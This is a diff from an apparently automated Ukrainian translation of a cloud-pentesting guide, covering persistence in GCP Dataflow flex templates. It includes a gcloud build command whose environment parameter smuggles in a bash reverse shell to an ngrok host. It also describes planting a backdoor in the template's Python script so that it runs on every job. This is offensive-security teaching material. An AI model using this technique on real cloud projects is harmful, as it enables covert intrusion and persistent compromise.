Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:06:10 +00:00
parent 92eaf7ce11
commit 210c27fffb
217 changed files with 1796 additions and 1807 deletions

View File

@@ -4,7 +4,7 @@
## Dataflow
### Невидима персистентність у вбудованому контейнері
### Невидима стійкість у вбудованому контейнері
Слідуючи [**посібнику з документації**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), ви можете створити новий (наприклад, python) гнучкий шаблон:
```bash
@@ -36,7 +36,7 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
**Поки він будується, ви отримаєте зворотний шелл** (ви можете зловживати змінними середовища, як у попередньому прикладі, або іншими параметрами, які налаштовують Docker файл для виконання довільних дій). У цей момент, всередині зворотного шеллу, можливо **перейти до каталогу `/template` і змінити код основного python скрипта, який буде виконуватись (у нашому прикладі це `getting_started.py`)**. Встановіть тут свою бекдор, щоб щоразу, коли завдання виконується, воно виконувало його.
**Поки він будується, ви отримаєте зворотний шелл** (ви можете зловживати змінними середовища, як у попередньому прикладі, або іншими параметрами, які налаштовують Docker файл для виконання довільних дій). У цей момент, всередині зворотного шеллу, можливо **перейти до каталогу `/template` і змінити код основного python скрипта, який буде виконуватись (у нашому прикладі це `getting_started.py`)**. Встановіть тут свою бекдор, щоб щоразу, коли завдання виконується, воно виконувалося.
Тоді, наступного разу, коли завдання буде виконано, буде запущено скомпрометований контейнер:
```bash